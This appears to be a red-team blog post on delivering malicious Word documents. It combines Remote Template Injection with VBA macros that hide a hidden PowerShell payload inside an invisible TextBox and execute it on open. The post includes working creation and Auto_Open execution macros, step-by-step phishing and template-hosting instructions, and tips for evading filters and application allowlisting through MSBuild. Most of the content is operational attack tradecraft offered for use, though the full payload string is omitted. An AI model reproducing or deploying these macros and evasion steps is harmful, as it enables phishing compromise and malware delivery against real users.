MalDoc Fu - Some Ideas for Malicious Document Delivery
"Hey, can you review this document? You might have to enable macros due to formatting lol"
We've all seen phishing attempts like this and, the worst part, is that they still work. However, a message like this would more than likely get flagged sooner or later, and no user -or a limited number of users- would ever receive it.
As a result, we can't just rely on phishing emails during a red team hoping one makes it through without getting flagged and a user clicks enable macros. As red teamers, we need to be more methodical and precise in our wording, domain usage, payload creation, and campaign execution. This minimises the risk of alerting any defenders and users so we can keep seeing those sweet beacons come in.
Getting Into It
Joe Leon and myself recently gave a webinar with Black Hills Information Security on Remote Template Injection, InlineShapes, and Excel 4.0 macros in which I briefly spoke about hosting a malicious payload remotely, as well as hiding macro code within InlineShapes. In this post, I'll be further discussing those two concepts and combining them to execute an MSBuild payload.
Now, these are not new concepts, and props to the guys at Red Xor Blue and Greg Linares for doing some great research on this. Yet, I don't think I've seen these two concepts combined, so this will be a quick primer and the resulting combination.
Remote Template Injection
Remote Template Injection involves the following:
- Creating a malicious Word template (.dotm) and embedding a malicious macro.
- Hosting that template on a webserver.
- Creating a benign Word document (.docx) that will remotely pull down that template and executing any macros.
- The user must still enable macros
Creating the malicious Word template is pretty simple. First you'll want to create the macro using a number of tools including Veil, Unicorn, MaliciousMacroGenerator, or the always stylish Cobalt Strike.
Next, paste that generated macro into your Word template. It should look something similar to the screenshot below.
Then, we'll create the benign Word document. If you want to easily create one, you can select one of Word's online templates and modify it to your liking. Here we're using Word's certificate template (pretty legit, right?).
Once that's saved, rename the extension (.docx) to .zip; since that's really all a .docx file is - a compressed folder with multiple setting files. Extract the zip, navigate to word/_rels/ and modify the settings.xml.rels file to include the link to your malicious template.
Finally, zip the contents back up, rename the extension back to .docx and send to the target. One nice thing is that you'll receive a few HTTP(S) requests before the user enables content so that's another metric you can identify.
The following demo should help to answer any questions in the process.
There are several different types of InlineShapes - chart, comment, pictures, line, box, etc. For this section, we'll be focusing on the TextBox shape. One interesting thing we can do is use InlineShapes to house our malicious code which can then be called and subsequently deleted via a macro.
The idea here is fairly basic but should serve as a good starting point for more advanced uses - obfuscation was not a primary focus for this section.
The main execution flow for this method is:
- Create a phishing document
- Use the InlineShape creation macro found below
- Delete the InlineShape creation macro and add in the following execution macro
- Save the document and send it to the target
Feel free to use any tool to generate the malicious macro. In this instance, I used Veil. We're also going to modify things a bit to only use the payload string along with the PowerShell command to call it.
TextBox Creation Macro (pulled and weaponised from Greg Linares' blog here):
Sub createTextBox() On Error Resume Next Dim objTextBox As Shape Dim secretkey As Long Dim str As String Dim zHf As String payload = "nVhLj9s2EL7vryAWOqyxdkBJ1CtGgKQNCgQo0qCbtoeFDxJFdY1qbc" --Full Payload Excluded-- zHf = " -NoP -NonI -W Hidden -Command ""Invoke-" zHf = zHf + "Expression $(New-Object IO.StreamReader ($(New-O" --Full PowerShell Command Excluded (references the payload string)-- secretkey = RGB(2, 2, 2) Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0) With objTextBox .TextFrame.TextRange.Text = "powershell.exe|" + zHf + "|open|1" .Name = "Shell.Application" .Height = 100 .Width = 100 .Visible = msoFalse .Shadow.Visible = True .Shadow.ForeColor.RGB = secretkey .AlternativeText = "ShellExecute" .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor End With End Sub
Once that macro executes, you can delete it, since the payload is now hidden within an InlineShape inside the document. Next, we'll add in our execution macro (and will probably want to rename it to Auto_Open or similar):
Sub ExecuteTextBoxCommands() On Error Resume Next Dim objCmdShape As Shape Dim secretkey As Long Dim cmdParams() As String Dim cmdCommand As String Dim cmdType As String Dim cmdObj As Object secretkey = RGB(2, 2, 2) For x = 1 To ActiveDocument.Shapes.Count Set objCmdShape = ActiveDocument.Shapes(x) If objCmdShape.Shadow.ForeColor.RGB = secretkey Then cmdType = objCmdShape.Name cmdCommand = objCmdShape.AlternativeText cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|") Set cmdObj = Interaction.CreateObject(cmdType) VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), Trim(cmdParams(1)), cmdParams(2), cmdParams(3) objCmdShape.Delete Exit For End If Next End Sub
Notice that we're not calling any PowerShell or similar executable here, we're just referencing an array while using the CallByName function to execute it. Finally, we delete the shape so multiple executions can't happen and will hopefully keep the malicious code away from prying eyes unless the document is redownloaded.
**Once the user enables macros, the macro will search through the current document, grab all the InlineShapes, and search for the specific secret key. If that key matches what it's looking for, it will continue execution and run our payload (yay).
The following demo should help clarify things a bit.
That Wasn't Even Our Final Form
Well, what if we want to keep our actions a bit more hidden as well as send a much more normal .docx file (instead of a suspicious macro-enabled Word document, .docm)? We can do that by combining Remote Template Injection and InlineShapes! Another pro is that we can utilize app whitelisting to call the actual payload, which access to can be killed if you think the target is looking into your phishing campaign.
The setup here is similar with some minor modifications:
- Create a Word template document (.dotm)
- Paste the non-malicious macro from above to generate a TextBox shape
- This is where you would reference an AWL bypass such as msbuild + a .csproj or .xml
- Conversely, you could also call PowerShell with the
-w hiddenflag to prevent the msbuild window from staying up for too long.
- Run the macro to create the InlineShape and delete previous macro
- Paste the execution macro in and rename to Auto_Open
- Host the template on a webserver
- Create a Word document (.docx) to be used for phishing
- Modify the underlying settings.xml.rels file to point to your template
Currently, this method may get flagged due to
msbuild.exe being within the InlineShape. This is trivial to bypass though, as we can just hardcode the full path to msbuild in the macro to execute the InlineShape. That macro should look something similar to the screenshot below.
Just note that if you hardcode the application within the InlineShape execution macro, you will need to modify the InlineShape creation macro to remove the msbuild.exe reference. You will also have to modify the
cmdParams array that gets called (remove the last array reference); but I'll leave that exercise up to the reader. We did recently used this on an active red team assessment and it successfully bypassed all email filters.
If you liked this post and you'd like to check out more, you can visit our blog here https://fortynorthsecurity.com/blog/. If you're interested in trainings you can find our upcoming dates here https://fortynorthsecurity.com/public-training.